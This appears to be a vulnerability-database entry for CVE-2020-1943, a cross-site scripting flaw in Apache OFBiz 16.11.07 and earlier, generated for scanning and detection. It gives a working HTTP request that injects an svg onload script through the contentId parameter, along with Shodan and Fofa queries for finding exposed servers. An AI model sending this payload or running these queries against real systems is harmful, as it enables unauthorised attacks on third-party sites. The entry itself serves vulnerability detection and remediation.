| Title | Apache OFBiz <=16.11.07 - Cross-Site Scripting |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade Apache OFBiz to a version higher than 16.11.07 to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.86811 |
| CVE ID | CVE-2020-1943 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"ofbiz"ofbiz.visitor= |
| Fofa Query | body="ofbiz"app="apache_ofbiz" |
| Tags | cve2020 cve apache xss ofbiz vkev vuln |
Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized.
GET /control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.5.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-1943.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-1943.pcap
N/AN/A